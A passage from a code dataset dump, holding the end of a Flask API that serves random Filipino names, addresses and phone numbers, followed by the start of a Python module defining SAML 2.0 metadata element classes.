)\n\n args = parser.parse_args()\n size_arg = args['size']\n gender_arg = args['gender']\n complete_random_user_response = {'results': []}\n\n if gender_arg is not None and str(gender_arg).lower() not in [\"male\", \"female\"]:\n return jsonify(message={'gender': 'Invalid Parameter'})\n \n if size_arg == None:\n complete_random_user = self.CompleteRandomUser(gender=None if gender_arg == None else gender_arg)\n complete_random_user_response['results'].append(complete_random_user)\n else:\n count = 0\n while count < size_arg:\n complete_random_user = self.CompleteRandomUser(gender=gender_arg)\n complete_random_user_response['results'].append(complete_random_user)\n count += 1\n\n self.__DatabaseQuery.close_connection()\n return jsonify(complete_random_user_response)\n\n\nclass RandomAddress(Resource): \n \n def get(self):\n \n parser = reqparse.RequestParser()\n parser.add_argument('size', \n type=int, \n help='Invalid Parameter', \n required=False,\n location ='args'\n )\n args = parser.parse_args()\n\n size_arg = args['size']\n dbq = DatabaseQuery()\n random_address_dict = {'result': []}\n if size_arg == None:\n random_address_return = dbq.query_random_address()\n random_address_dict['result'].append(random_address_return)\n else:\n count = 0\n while count < size_arg:\n random_address_return = dbq.query_random_address()\n random_address_dict['result'].append(random_address_return)\n count+=1\n\n dbq.close_connection() #closes database connection after query\n return jsonify(random_address_dict)\n \n\nclass RandomName(Resource):\n \n def get(self):\n parser = reqparse.RequestParser()\n parser.add_argument(\n 'size', \n type = int,\n help = 'Invalid Parameter',\n required=False,\n location='args'\n )\n parser.add_argument(\n 'gender',\n type = str,\n help = \"Generate name based on gender\",\n required = False,\n location = 'args'\n )\n args = parser.parse_args()\n\n size_arg = args['size']\n gender_arg = args['gender']\n \n dbq = DatabaseQuery()\n random_name_response = {'results': []}\n if gender_arg is not None and str(gender_arg).lower() not in [\"male\", \"female\"]:\n return jsonify(message={'gender': 'Invalid Parameter'})\n \n if size_arg == None:\n random_name_return = dbq.query_random_name(gender=None if gender_arg == None else gender_arg)\n random_name_response['results'].append(random_name_return)\n elif size_arg > 30:\n random_name_response['results'].append({\n 'error': {\n 'max_limit_reached': {\n 'message': 'requests are limited to 30'\n }\n }\n })\n else:\n count = 0\n while count < size_arg:\n random_name_return = dbq.query_random_name(gender=None if gender_arg == None else gender_arg)\n random_name_response['results'].append(random_name_return)\n count+=1\n dbq.close_connection()\n return jsonify(random_name_response)\n\nclass RandomPhoneNumber(Resource):\n \n def get(self):\n parser = reqparse.RequestParser()\n parser.add_argument(\n 'size',\n type = int,\n help = \"Size of the result\",\n required = False,\n location = 'args'\n )\n args = parser.parse_args()\n\n size_arg = args['size']\n rnd = RandomUserInfo()\n random_phone_number_return_data = {'result': []}\n if size_arg == None:\n random_phone_number = rnd.RandomPhoneNumber()\n random_phone_number_return_data['result'].append(random_phone_number)\n else:\n count = 0\n while count < size_arg:\n random_phone_number = rnd.RandomPhoneNumber()\n random_phone_number_return_data['result'].append(random_phone_number)\n count+=1\n\n return jsonify(random_phone_number_return_data)","repo_name":"neil-py/random_filipino_api","sub_path":"app/backend/api/api_routes.py","file_name":"api_routes.py","file_ext":"py","file_size_in_byte":6333,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"37828578380","text":"__author__ = 'tmatsuo@sios.com (Takashi MATSUO)'\n\n\"\"\"Contains classes representing Metadata elements.\n\n Module objective: provide data classes for Metadata\n constructs. These classes hide the XML-ness of Saml and provide a\n set of native Python classes to interact with.\n\n\"\"\"\n\ntry:\n from xml.etree import cElementTree as ElementTree\nexcept ImportError:\n try:\n import cElementTree as ElementTree\n except ImportError:\n from elementtree import ElementTree\n\nimport saml2\nfrom saml2 import saml\nimport xmldsig as ds\n\nMD_NAMESPACE = 'urn:oasis:names:tc:SAML:2.0:metadata'\nMD_TEMPLATE = '{urn:oasis:names:tc:SAML:2.0:metadata}%s'\nXMLENC_NAMESPACE = 'http://www.w3.org/2001/04/xmlenc#'\n\nclass Extensions(saml2.SamlBase):\n \"\"\"The md:Extensions element\"\"\"\n\n _tag = 'Extensions'\n _namespace = MD_NAMESPACE\n _children = saml2.SamlBase._children.copy()\n _attributes = saml2.SamlBase._attributes.copy()\n\ndef ExtensionsFromString(xml_string):\n return saml2.CreateClassFromXMLString(Extensions, xml_string)\n\nclass localizedName(saml2.SamlBase):\n \"\"\"The md:localizedName abstract type\"\"\"\n _tag = 'localizedName'\n _namespace = MD_NAMESPACE\n _children = saml2.SamlBase._children.copy()\n _attributes = saml2.SamlBase._attributes.copy()\n _attributes['{http://www.w3.org/XML/1998/namespace}lang'] = 'lang'\n\n def __init__(self, lang=None, text=None,\n extension_elements=None, extension_attributes=None):\n \"\"\"Constructor for localizedName\n\n Args:\n lang: xml:lang attribute\n text: str The text data in the this element\n extension_elements: list A list of ExtensionElement instances\n extension_attributes: dict A dictionary of attribute value string pairs\n \"\"\"\n\n self.lang = lang\n self.text = text\n self.extension_elements = extension_elements or []\n self.extension_attributes = extension_attributes or {}\n\ndef localizedNameFromString(xml_string):\n return saml2.CreateClassFromXMLString(localizedName, xml_string)\n\nclass localizedURI(saml2.SamlBase):\n \"\"\"The md:localizedURI abstract type\"\"\"\n _tag = 'localizedURI'\n _namespace = MD_NAMESPACE\n _children = saml2.SamlBase._children.copy()\n _attributes = saml2.SamlBase._attributes.copy()\n _attributes['{http://www.w3.org/XML/1998/namespace}lang'] = 'lang'\n\n def __init__(self, lang=None, text=None,\n extension_elements=None, extension_attributes=None):\n \"\"\"Constructor for localizedURI\n\n Args:\n lang: xml:lang attribute\n text: str The text data in the this element\n extension_elements: list A list of ExtensionElement instances\n extension_attributes: dict A dictionary of attribute value string pairs\n \"\"\"\n\n self.lang = lang\n self.text = text\n self.extension_elements = extension_elements or []\n self.extension_attributes = extension_attributes or {}\n\ndef localizedURIFromString(xml_string):\n return saml2.CreateClassFromXMLString(localizedURI, xml_string)\n\n\nclass OrganizationName(localizedName):\n \"\"\"The md:OrganizationName element\"\"\"\n _tag = 'OrganizationName'\n _namespace = MD_NAMESPACE\n _children = localizedName._children.copy()\n _attributes = localizedName._attributes.copy()\n\n def __init__(self, lang=None, text=None,\n extension_elements=None, extension_attributes=None):\n \"\"\"Constructor for OrganizationName\n\n Args:\n lang: xml:lang attribute\n text: str The text data in the this element\n extension_elements: list A list of ExtensionElement instances\n extension_attributes: dict A dictionary of attribute value string pairs\n \"\"\"\n\n localizedName.__init__(self, lang=lang)\n \n self.text = text\n self.extension_elements = extension_elements or []\n self.extension_attributes = extension_attributes or {}\n\n\ndef OrganizationNameFromString(xml_string):\n return saml2.CreateClassFromXMLString(OrganizationName, xml_string)\n\n\nclass OrganizationDisplayName(localizedName):\n \"\"\"The md:OrganizationDisplayName element\"\"\"\n _tag = 'OrganizationDisplayName'\n _namespace = MD_NAMESPACE\n _children = localizedName._children.copy()\n _attributes = localizedName._attributes.copy()\n\n def __init__(self, lang=None, text=None,\n extension_elements=None, extension_attributes=None):\n \"\"\"Constructor for OrganizationDisplayName\n\n Args:\n lang: xml:lang attribute\n text: str The text data in the this element\n extension_elements: list A list of ExtensionElement instances\n extension_attributes: dict A dictionary of attribute value string pairs\n \"\"\"\n\n localizedName.__init__(self, lang=lang)\n \n self.text = text\n self.extension_elements = extension_elements or []\n self.extension_attributes = extension_attributes or {}\n\n\ndef OrganizationDisplayNameFromString(xml_string):\n return saml2.CreateClassFromXMLString(OrganizationDisplayName, xml_string)\n\n\nclass OrganizationURL(localizedURI):\n \"\"\"The md:OrganizationURL element\"\"\"\n _tag = 'OrganizationURL'\n _namespace = MD_NAMESPACE\n _children = localizedURI._children.copy()\n _attributes = localizedURI._attributes.copy()\n\n def __init__(self, lang=None, text=None,\n extension_elements=None, extension_attributes=None):\n \"\"\"Constructor for OrganizationURL\n\n Args:\n lang: xml:lang attribute\n text: str The text data in the this element\n extension_elements: list A list of ExtensionElement instances\n extension_attributes: dict A dictionary of attribute value string pairs\n \"\"\"\n\n localizedURI.__init__(self, lang=lang)\n \n self.text = text\n self.extension_elements = extension_elements or []\n self.extension_attributes = extension_attributes or {}\n\n\ndef OrganizationURLFromString(xml_string):\n return saml2.CreateClassFromXMLString(OrganizationURL, xml_string)\n\n\nclass Organization(saml2.SamlBase):\n \"\"\"The md:Organization base type\"\"\"\n\n _tag = 'Organization'\n _namespace = MD_NAMESPACE\n _children = saml2.SamlBase._children.copy()\n _attributes = saml2.SamlBase._attributes.copy()\n _children['{%s}Extensions' % MD_NAMESPACE] = ('extensions', Extensions)\n _children['{%s}OrganizationName' % MD_NAMESPACE] = (\n 'organization_name', [OrganizationName])\n _children['{%s}OrganizationDisplayName' % MD_NAMESPACE] = (\n 'organization_display_name', [OrganizationDisplayName])\n _children['{%s}OrganizationURL' % MD_NAMESPACE] = (\n 'organization_url', [OrganizationURL])\n child_order = ['extensions', 'organization_name',\n 'organization_display_name', 'organization_url']\n\n def __init__(self, extensions=None, organization_name=None,\n organization_display_name=None, organization_url=None,\n text=None,\n extension_elements=None, extension_attributes=None):\n \"\"\"Constructor for Organization\n\n Args:\n extensions: Extensions element\n organization_name: OrganizationName elements\n organization_display_name: OrganizationDisplayName elements\n organization_url: OrganizationURL elements\n text: str The text data in the this element\n extension_elements: list A list of ExtensionElement instances\n extension_attributes: dict A dictionary of attribute value string pairs\n \"\"\"\n\n self.extensions = extensions\n self.organization_name = organization_name or []\n self.organization_display_name = organization_display_name or []\n self.organization_url = organization_url or []\n self.text = text\n self.extension_elements = extension_elements or []\n self.extension_attributes = extension_attributes or {}\n\ndef OrganizationFromString(xml_string):\n return saml2.CreateClassFromXMLString(Organization, xml_string)\n \n\nclass Endpoint(saml2.SamlBase):\n \"\"\"The md:Endpoint base type\"\"\"\n\n _tag = 'Endpoint'\n _namespace = MD_NAMESPACE\n _children = saml2.SamlBase._children.copy()\n _attributes = saml2.SamlBase._attributes.copy()\n _attributes['Binding'] = 'binding'\n _attributes['Location'] = 'location'\n _attributes['ResponseLocation'] = 'response_location'\n\n def __init__(self, binding=None, location=None, response_location=None,\n text=None,\n extension_elements=None, extension_attributes=None):\n \"\"\"Constructor for Endpoint\n\n Args:\n binding: Binding attribute\n location: Location attribute\n reseponse_location: ResponseLocation attribute\n text: str The text data in the this element\n extension_elements: list A list of ExtensionElement instances\n extension_attributes: dict A dictionary of attribute value string pairs\n \"\"\"\n\n self.binding = binding\n self.location = location\n self.response_location = response_location\n self.text = text\n self.extension_elements = extension_elements or []\n self.extension_attributes = extension_attributes or {}\n\ndef EndpointFromString(xml_string):\n return saml2.CreateClassFromXMLString(Endpoint, xml_string)\n\n\nclass IndexedEndpoint(Endpoint):\n \"\"\"The md:IndexedEndpoint base type\"\"\"\n\n _tag = 'IndexedEndpoint'\n _namespace = MD_NAMESPACE\n _children = Endpoint._children.copy()\n _attributes = Endpoint._attributes.copy()\n _attributes['index'] = 'index'\n _attributes['isDefault'] = 'is_default'\n\n def __init__(self, binding=None, location=None, response_location=None,\n index=None, is_default=None,\n text=None,\n extension_elements=None, extension_attributes=None):\n \"\"\"Constructor for IndexedEndpoint\n\n Args:\n binding: Binding attribute\n location: Location attribute\n reseponse_location: ResponseLocation attribute\n index: index attribute\n is_default: isDefault attribute\n text: str The text data in the this element\n extension_elements: list A list of ExtensionElement instances\n extension_attributes: dict A dictionary of attribute value string pairs\n \"\"\"\n\n Endpoint.__init__(self, binding=binding, location=location,\n response_location=response_location)\n self.index = index\n self.is_default = is_default\n self.text = text\n self.extension_elements = extension_elements or []\n self.extension_attributes = extension_attributes or {}\n\ndef IndexedEndpointFromString(xml_string):\n return saml2.CreateClassFromXMLString(IndexedEndpoint, xml_string)\n\n \nclass Company(saml2.SamlBase):\n \"\"\"The md:Company element\"\"\"\n\n _tag = 'Company'\n _namespace = MD_NAMESPACE\n _children = saml2.SamlBase._children.copy()\n _attributes = saml2.SamlBase._attributes.copy()\n\ndef CompanyFromString(xml_string):\n return saml2.CreateClassFromXMLString(Company, xml_string)\n\n\nclass GivenName(saml2.SamlBase):\n \"\"\"The md:GivenName element\"\"\"\n\n _tag = 'GivenName'\n _namespace = MD_NAMESPACE\n _children = saml2.SamlBase._children.copy()\n _attributes = saml2.SamlBase._attributes.copy()\n\ndef GivenNameFromString(xml_string):\n return saml2.CreateClassFromXMLString(GivenName, xml_string)\n\n\nclass SurName(saml2.SamlBase):\n \"\"\"The md:SurName element\"\"\"\n\n _tag = 'SurName'\n _namespace = MD_NAMESPACE\n _children = saml2.SamlBase._children.copy()\n _attributes = saml2.SamlBase._attributes.copy()\n\ndef SurNameFromString(xml_string):\n return saml2.CreateClassFromXMLString(SurName, xml_string)\n\n\nclass EmailAddress(saml2.SamlBase):\n \"\"\"The md:EmailAddress element\"\"\"\n\n _tag = 'EmailAddress'\n _namespace = MD_NAMESPACE\n _children = saml2.SamlBase._children.copy()\n _attributes = saml2.SamlBase._attributes.copy()\n\ndef EmailAddressFromString(xml_string):\n return saml2.CreateClassFromXMLString(EmailAddress, xml_string)\n\n\nclass TelephoneNumber(saml2.SamlBase):\n \"\"\"The md:TelephoneNumber element\"\"\"\n\n _tag = 'TelephoneNumber'\n _namespace = MD_NAMESPACE\n _children = saml2.SamlBase._children.copy()\n _attributes = saml2.SamlBase._attributes.copy()\n\ndef TelephoneNumberFromString(xml_string):\n return saml2.CreateClassFromXMLString(TelephoneNumber, xml_string)\n\n\nclass ContactPerson(saml2.SamlBase):\n \"\"\"The md:ContactPerson element\"\"\"\n\n _tag = 'ContactPerson'\n _namespace = MD_NAMESPACE\n _children = saml2.SamlBase._children.copy()\n _attributes = saml2.SamlBase._attributes.copy()\n _attributes['contactType'] = 'contact_type'\n _children['{%s}Extensions' % MD_NAMESPACE] = ('extensions', Extensions)\n _children['{%s}Company' % MD_NAMESPACE] = ('company', Company)\n _children['{%s}GivenName' % MD_NAMESPACE] = ('given_name', GivenName)\n _children['{%s}SurName' % MD_NAMESPACE] = ('sur_name', SurName)\n _children['{%s}EmailAddress' % MD_NAMESPACE] = (\n 'email_address', [EmailAddress])\n _children['{%s}TelephoneNumber' % MD_NAMESPACE] = (\n 'telephone_number', [TelephoneNumber])\n _child_order = ['extensions', 'company', 'given_name', 'sur_name',\n 'email_address', 'telephone_number']\n\n def __init__(self, extensions=None, contact_type=None, company=None,\n given_name=None, sur_name=None, email_address=None,\n telephone_number=None,\n text=None,\n extension_elements=None, extension_attributes=None):\n \"\"\"Constructor for ContactPerson\n\n Args:\n contact_type: contactType attribute\n extensions: Extensions element\n company: Company element\n given_name: GivenName element\n sur_name: SurName element\n email_address: EmailAddress elements\n telephone_number: TelephoneNumber elements\n text: str The text data in the this element\n extension_elements: list A list of ExtensionElement instances\n extension_attributes: dict A dictionary of attribute value string pairs\n \"\"\"\n \n self.contact_type = contact_type\n self.extensions = extensions\n self.company = company\n self.given_name = given_name\n self.sur_name = sur_name\n self.email_address = email_address or []\n self.telephone_number = telephone_number or []\n self.text = text\n self.extension_elements = extension_elements or []\n self.extension_attributes = extension_attributes or {}\n\ndef ContactPersonFromString(xml_string):\n return saml2.CreateClassFromXMLString(ContactPerson, xml_string)\n\n\nclass AdditionalMetadataLocation(saml2.SamlBase):\n \"\"\"The md:AdditionalMetadataLocation element\"\"\"\n\n _tag = 'AdditionalMetadataLocation'\n _namespace = MD_NAMESPACE\n _children = saml2.SamlBase._children.copy()\n _attributes = saml2.SamlBase._attributes.copy()\n _attributes['namespace'] = 'namespace'\n\n def __init__(self, namespace=None, text=None,\n extension_elements=None, extension_attributes=None):\n \"\"\"Constructor for AdditionalMetadataLocation\n\n Args:\n namespace: namespace attribute\n text: str The text data in the this element\n extension_elements: list A list of ExtensionElement instances\n extension_attributes: dict A dictionary of attribute value string pairs\n \"\"\"\n \n self.namespace = namespace\n self.text = text\n self.extension_elements = extension_elements or []\n self.extension_attributes = extension_attributes or {}\n\ndef AdditionalMetadataLocationFromString(xml_string):\n return saml2.CreateClassFromXMLString(AdditionalMetadataLocation, xml_string)\n\n \nclass KeySize(saml2.SamlBase):\n \"\"\"The xmlenc:KeySize element\"\"\"\n\n _tag = 'KeySize'\n _namespace = XMLENC_NAMESPACE\n _children = saml2.SamlBase._children.copy()\n _attributes = saml2.SamlBase._attributes.copy()\n\ndef KeySizeFromString(xml_string):\n return saml2.CreateClassFromXMLString(KeySize, xml_string)\n\n\nclass OAEPparams(saml2.SamlBase):\n \"\"\"The xmlenc:OAEPparams element\"\"\"\n\n _tag = 'OAEPparams'\n _namespace = XMLENC_NAMESPACE\n _children = saml2.SamlBase._children.copy()\n _attributes = saml2.SamlBase._attributes.copy()\n\ndef OAEPparamsFromString(xml_string):\n return saml2.CreateClassFromXMLString(OAEPparams, xml_string)\n\n\nclass EncryptionMethod(saml2.SamlBase):\n \"\"\"The md:EncryptionMethod element\"\"\"\n\n _tag = 'EncryptionMethod'\n _namespace = MD_NAMESPACE\n _children = saml2.SamlBase._children.copy()\n _attributes = saml2.SamlBase._attributes.copy()\n _attributes['Algorithm'] = 'algorithm'\n _children['{%s}KeySize' % XMLENC_NAMESPACE] = ('key_size', KeySize)\n _children['{%s}OAEPparams' % XMLENC_NAMESPACE] = ('oaep_params', OAEPparams)\n _children['{%s}DigestMethod' % ds.DS_NAMESPACE] = (\n 'digest_method', ds.DigestMethod)\n _child_order = ['key_size', 'oaep_params', 'digest_method']\n\n def __init__(self, algorithm=None, key_size=None, digest_method=None,\n oaep_params=None, text=None,\n extension_elements=None, extension_attributes=None):\n \"\"\"Constructor for EncryptionMethod\n\n Args:\n algorithm: Algorithm attribute\n key_size: KeySize Element\n digest_method: DigestMethod Element\n oaep_params: OAEPparams Element\n text: str The text data in the this element\n extension_elements: list A list of ExtensionElement instances\n extension_attributes: dict A dictionary of attribute value string pairs\n \"\"\"\n \n self.algorithm = algorithm\n self.key_size = key_size\n self.digest_method = digest_method\n self.oaep_params = oaep_params\n self.text = text\n self.extension_elements = extension_elements or []\n self.extension_attributes = extension_attributes or {}\n\ndef EncryptionMethodFromString(xml_string):\n return saml2.CreateClassFromXMLString(EncryptionMethod, xml_string)\n\n\nclass KeyDescriptor(saml2.SamlBase):\n \"\"\"The md:KeyDescriptor element\"\"\"\n\n _tag = 'KeyDescriptor'\n _namespace = MD_NAMESPACE\n _children = saml2.SamlBase._children.copy()\n _attributes = saml2.SamlBase._attributes.copy()\n _attributes['use'] = 'use'\n _children['{%s}KeyInfo' % ds.DS_NAMESPACE] = ('key_info', ds.KeyInfo)\n _children['{%s}EncryptionMethod' % MD_NAMESPACE] = (\n 'encryption_method', [EncryptionMethod])\n _child_order = ['key_info', 'encryption_method']\n\n def __init__(self, use=None, key_info=None, encryption_method=None,\n text=None,\n extension_elements=None, extension_attributes=None):\n \"\"\"Constructor for KeyDescriptor\n\n Args:\n use: use attribute\n key_info: KeyInfo element\n encryption_method: EncryptionMethod elements\n text: str The text data in the this element\n extension_elements: list A list of ExtensionElement instances\n extension_attributes: dict A dictionary of attribute value string pairs\n \"\"\"\n \n self.use = use\n self.key_info = key_info\n self.encryption_method = encryption_method or []\n self.text = text\n self.extension_elements = extension_elements or []\n self.extension_attributes = extension_attributes or {}\n\ndef KeyDescriptorFromString(xml_string):\n return saml2.CreateClassFromXMLString(KeyDescriptor, xml_string)\n\n\nclass RoleDescriptor(saml2.SamlBase):\n \"\"\"The md:RoleDescriptor element\"\"\"\n\n _tag = 'RoleDescriptor'\n _namespace = MD_NAMESPACE\n _children = saml2.SamlBase._children.copy()\n _attributes = saml2.SamlBase._attributes.copy()\n _attributes['ID'] = 'id'\n _attributes['validUntil'] = 'valid_until'\n _attributes['cacheDuration'] = 'cache_duration'\n _attributes['protocolSupportEnumeration'] = 'protocol_support_enumeration'\n _attributes['errorURL'] = 'error_url'\n _children['{%s}Signature' % ds.DS_NAMESPACE] = ('signature', ds.Signature)\n _children['{%s}Extensions' % MD_NAMESPACE] = ('extensions', Extensions)\n _children['{%s}KeyDescriptor' % MD_NAMESPACE] = (\n 'key_descriptor', [KeyDescriptor])\n _children['{%s}Organization' % MD_NAMESPACE] = ('organization', Organization)\n _children['{%s}ContactPerson' % MD_NAMESPACE] = (\n 'contact_person', [ContactPerson])\n _child_order = ['signature', 'extensions', 'key_descriptor', 'organization',\n 'contact_person']\n\n def __init__(self, id=None, valid_until=None, cache_duration=None,\n protocol_support_enumeration=None, error_url=None,\n signature=None, extensions=None, key_descriptor=None,\n organization=None, contact_person=None,\n text=None,\n extension_elements=None, extension_attributes=None):\n \"\"\"Constructor for RoleDescriptor\n\n Args:\n id: ID attribute\n valid_until: validUntil attribute\n cache_duration: cacheDuration attribute\n protocol_support_enumeration: protocolSupportEnumeration attribute\n error_url: errorURL attribute\n signature: ds:Signature element\n extensions: Extensions element\n key_descriptor: KeyDescriptor elements\n organization: Organization element\n contact_person: ContactPerson elements\n text: str The text data in the this element\n extension_elements: list A list of ExtensionElement instances\n extension_attributes: dict A dictionary of attribute value string pairs\n \"\"\"\n self.id = id\n self.valid_until = valid_until\n self.cache_duration = cache_duration\n self.protocol_support_enumeration = protocol_support_enumeration\n self.error_url = error_url\n self.signature = signature\n self.extensions = extensions\n self.key_descriptor = key_descriptor or []\n self.organization = organization\n self.contact_person = contact_person or []\n self.text = text\n self.extension_elements = extension_elements or []\n self.extension_attributes = extension_attributes or {}\n \ndef RoleDescriptorFromString(xml_string):\n return saml2.CreateClassFromXMLString(RoleDescriptor, xml_string)\n\n\nclass ArtifactResolutionService(IndexedEndpoint):\n \"\"\"The md:ArtifactResolutionService element\"\"\"\n _tag = 'ArtifactResolutionService'\n\ndef ArtifactResolutionServiceFromString(xml_string):\n return saml2.CreateClassFromXMLString(ArtifactResolutionService, xml_string)\n\n\nclass AssertionConsumerService(IndexedEndpoint):\n \"\"\"The md:AssertionConsumerService element\"\"\"\n _tag = 'AssertionConsumerService'\n\ndef AssertionConsumerServiceFromString(xml_string):\n return saml2.CreateClassFromXMLString(AssertionConsumerService, xml_string)\n\n\nclass SingleLogoutService(Endpoint):\n \"\"\"The md:SingleLogoutService element\"\"\"\n _tag = 'SingleLogoutService'\n\ndef SingleLogoutServiceFromString(xml_string):\n return saml2.CreateClassFromXMLString(SingleLogoutService, xml_string)\n\n\nclass ManageNameIDService(Endpoint):\n \"\"\"The md:ManageNameIDService element\"\"\"\n _tag = 'ManageNameIDService'\n\ndef ManageNameIDServiceFromString(xml_string):\n return saml2.CreateClassFromXMLString(ManageNameIDService, xml_string)\n\n\nclass NameIDFormat(saml2.SamlBase):\n \"\"\"The md:NameIDFormat element\"\"\"\n \n _tag = 'NameIDFormat'\n _namespace = MD_NAMESPACE\n _children = saml2.SamlBase._children.copy()\n _attributes = saml2.SamlBase._attributes.copy()\n\ndef NameIDFormatFromString(xml_string):\n return saml2.CreateClassFromXMLString(NameIDFormat, xml_string)\n\n\nclass SSODescriptor(RoleDescriptor):\n \"\"\"The md:SSODescriptor element\"\"\"\n\n _tag = 'SSODescriptor'\n _namespace = MD_NAMESPACE\n _children = RoleDescriptor._children.copy()\n _attributes = RoleDescriptor._attributes.copy()\n _children['{%s}ArtifactResolutionService' % MD_NAMESPACE] = (\n 'artifact_resolution_service', [ArtifactResolutionService])\n _children['{%s}SingleLogoutService' % MD_NAMESPACE] = (\n 'single_logout_service', [SingleLogoutService])\n _children['{%s}ManageNameIDService' % MD_NAMESPACE] = (\n 'manage_name_id_service', [ManageNameIDService])\n _children['{%s}NameIDFormat' % MD_NAMESPACE] = (\n 'name_id_format', [NameIDFormat])\n\n _child_order = ['signature', 'extensions', 'key_descriptor', 'organization',\n 'contact_person', 'artifact_resolution_service',\n 'single_logout_service', 'manage_name_id_service',\n 'name_id_format']\n\n def __init__(self, id=None, valid_until=None, cache_duration=None,\n protocol_support_enumeration=None, error_url=None,\n signature=None, extensions=None, key_descriptor=None,\n organization=None, contact_person=None,\n artifact_resolution_service=None,\n single_logout_service=None, manage_name_id_service=None,\n name_id_format=None,\n text=None,\n extension_elements=None, extension_attributes=None):\n \"\"\"Constructor for SSODescriptor\n\n Args:\n id: ID attribute\n valid_until: validUntil attribute\n cache_duration: cacheDuration attribute\n protocol_support_enumeration: protocolSupportEnumeration attribute\n error_url: errorURL attribute\n signature: ds:Signature element\n extensions: Extensions element\n key_descriptor: KeyDescriptor elements\n organization: Organization element\n contact_person: ContactPerson elements\n artifact_resolution_service: ArtifactResolutionService elements\n single_logout_service: SingleLogoutService elements\n manage_name_id_service: ManageNameIDService elements\n name_id_format: NameIDFormat elements\n text: str The text data in the this element\n extension_elements: list A list of ExtensionElement instances\n extension_attributes: dict A dictionary of attribute value string pairs\n \"\"\"\n RoleDescriptor.__init__(self, id=id, valid_until=valid_until,\n cache_duration=cache_duration,\n protocol_support_enumeration=protocol_support_enumeration,\n error_url=error_url, signature=signature, extensions=extensions,\n key_descriptor=key_descriptor, organization=organization,\n contact_person=contact_person)\n\n self.artifact_resolution_service = artifact_resolution_service or []\n self.single_logout_service = single_logout_service or []\n self.manage_name_id_service = manage_name_id_service or []\n self.name_id_format = name_id_format or []\n self.text = text\n self.extension_elements = extension_elements or []\n self.extension_attributes = extension_attributes or {}\n\ndef SSODescriptorFromString(xml_string):\n return saml2.CreateClassFromXMLString(SSODescriptor, xml_string)\n\n\nclass SingleSignOnService(Endpoint):\n \"\"\"The md:SingleSignOnService element\"\"\"\n _tag = 'SingleSignOnService'\n\ndef SingleSignOnServiceFromString(xml_string):\n return saml2.CreateClassFromXMLString(SingleSignOnService, xml_string)\n\n\nclass NameIDMappingService(Endpoint):\n \"\"\"The md:NameIDMappingService element\"\"\"\n _tag = 'NameIDMappingService'\n\ndef NameIDMappingServiceFromString(xml_string):\n return saml2.CreateClassFromXMLString(NameIDMappingService, xml_string)\n\n\nclass AssertionIDRequestService(Endpoint):\n \"\"\"The md:AssertionIDRequestService element\"\"\"\n _tag = 'AssertionIDRequestService'\n\ndef AssertionIDRequestServiceFromString(xml_string):\n return saml2.CreateClassFromXMLString(AssertionIDRequestService, xml_string)\n\n\nclass AttributeProfile(saml2.SamlBase):\n \"\"\"The md:AttributeProfile element\"\"\"\n \n _tag = 'AttributeProfile'\n _namespace = MD_NAMESPACE\n _children = saml2.SamlBase._children.copy()\n _attributes = saml2.SamlBase._attributes.copy()\n\ndef AttributeProfileFromString(xml_string):\n return saml2.CreateClassFromXMLString(AttributeProfile, xml_string)\n\n\nclass IDPSSODescriptor(SSODescriptor):\n \"\"\"The md:IDPSSODescriptor element\"\"\"\n\n _tag = 'IDPSSODescriptor'\n _namespace = MD_NAMESPACE\n _children = SSODescriptor._children.copy()\n _attributes = SSODescriptor._attributes.copy()\n _attributes['WantAuthnRequestsSigned'] = 'want_authn_requests_signed'\n _children['{%s}SingleSignOnService' % MD_NAMESPACE] = (\n 'single_sign_on_service', [SingleSignOnService])\n _children['{%s}NameIDMappingService' % MD_NAMESPACE] = (\n 'name_id_mapping_service', [NameIDMappingService])\n _children['{%s}AssertionIDRequestService' % MD_NAMESPACE] = (\n 'assertion_id_request_service', [AssertionIDRequestService])\n _children['{%s}AttributeProfile' % MD_NAMESPACE] = (\n 'attribute_profile', [AttributeProfile])\n _children['{%s}Attribute' % saml.SAML_NAMESPACE] = (\n 'attribute', [saml.Attribute])\n\n _child_order = ['signature', 'extensions', 'key_descriptor', 'organization',\n 'contact_person', 'artifact_resolution_service',\n 'single_logout_service', 'manage_name_id_service',\n 'name_id_format', 'single_sign_on_service',\n 'name_id_mapping_service', 'assertion_id_request_service',\n 'attribute_profile', 'attribute']\n\n def __init__(self, id=None, valid_until=None, cache_duration=None,\n protocol_support_enumeration=None, error_url=None,\n signature=None, extensions=None, key_descriptor=None,\n organization=None, contact_person=None,\n artifact_resolution_service=None,\n single_logout_service=None, manage_name_id_service=None,\n name_id_format=None, want_authn_requests_signed=None,\n single_sign_on_service=None, name_id_mapping_service=None,\n assertion_id_request_service=None, attribute_profile=None,\n attribute=None,\n text=None,\n extension_elements=None, extension_attributes=None):\n \"\"\"Constructor for IDPSSODescriptor\n\n Args:\n id: ID attribute\n valid_until: validUntil attribute\n cache_duration: cacheDuration attribute\n protocol_support_enumeration: protocolSupportEnumeration attribute\n error_url: errorURL attribute\n signature: ds:Signature element\n extensions: Extensions element\n key_descriptor: KeyDescriptor elements\n organization: Organization element\n contact_person: ContactPerson elements\n artifact_resolution_service: ArtifactResolutionService elements\n single_logout_service: SingleLogoutService elements\n manage_name_id_service: ManageNameIDService elements\n name_id_format: NameIDFormat elements\n want_authn_requests_signed: WantAuthnRequestsSigned attribute\n single_sign_on_service: SingleSignOnService elements\n name_id_mapping_service: NameIDMappingService elements\n assertion_id_request_service: AssertionIDRequestService elements\n attribute_profile: AttributeProfile elements\n attribute: Attribute elements\n text: str The text data in the this element\n extension_elements: list A list of ExtensionElement instances\n extension_attributes: dict A dictionary of attribute value string pairs\n \"\"\"\n SSODescriptor.__init__(\n self, id=id, valid_until=valid_until,\n cache_duration=cache_duration,\n protocol_support_enumeration=protocol_support_enumeration,\n error_url=error_url, signature=signature, extensions=extensions,\n key_descriptor=key_descriptor, organization=organization,\n contact_person=contact_person,\n artifact_resolution_service=artifact_resolution_service,\n single_logout_service=single_logout_service,\n manage_name_id_service=manage_name_id_service,\n name_id_format=name_id_format)\n\n self.want_authn_requests_signed = want_authn_requests_signed\n self.single_sign_on_service = single_sign_on_service or []\n self.name_id_mapping_service = name_id_mapping_service or []\n self.assertion_id_request_service = assertion_id_request_service or []\n self.attribute_profile = attribute_profile or []\n self.attribute = attribute or []\n self.text = text\n self.extension_elements = extension_elements or []\n self.extension_attributes = extension_attributes or {}\n\ndef IDPSSODescriptorFromString(xml_string):\n return saml2.CreateClassFromXMLString(IDPSSODescriptor, xml_string)\n\n\nclass RequestedAttribute(saml.Attribute):\n\n _tag = 'RequestedAttribute'\n _namespace = MD_NAMESPACE\n _children = saml.Attribute._children.copy()\n 